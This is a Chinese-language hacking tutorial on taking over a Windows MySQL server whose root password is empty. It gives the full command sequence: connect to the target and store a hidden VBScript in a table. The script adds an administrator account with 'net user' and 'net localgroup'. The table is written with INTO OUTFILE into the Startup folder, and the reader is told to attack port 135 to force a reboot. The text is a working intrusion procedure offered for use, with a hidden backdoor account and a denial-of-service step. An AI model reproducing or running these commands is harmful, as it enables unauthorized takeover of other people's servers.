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MYSQL用户ROOT密码为空时是一个很大的漏洞,在网上也有许多一些利用此漏洞的方法,一般就是写一个ASP或PHP的后门,不仅很麻烦,而且还要猜解网站的目录,如果对方没有开IIS,那我们岂不没办法了??

后来,自己思索想到一个办法,且在测试的几台有此漏洞的机中均获得了成功,现将攻击方法公布如下:

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中

2、让我们来看看服务器中有些什么数据库

mysql>show databases;

MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test;

我们将会进入test数据库中

4、查看我们进入数据库中有些什么数据表

mysql>show tables;

默认的情况下,test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text);

好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6、在表中插入内容


mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add"",0) " ); mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators zjl317 /add"",0) " );
 

注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!

7、好了,现在我们来看看表a中有些什么

mysql>select * from a;

我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8、输出表为一个VBS的脚本文件

mysql>select * from a into outfile "c:////docume~1////alluse~1////「开始」菜单////程序////启动////a.vbs";

我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意“//"符号。

9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。

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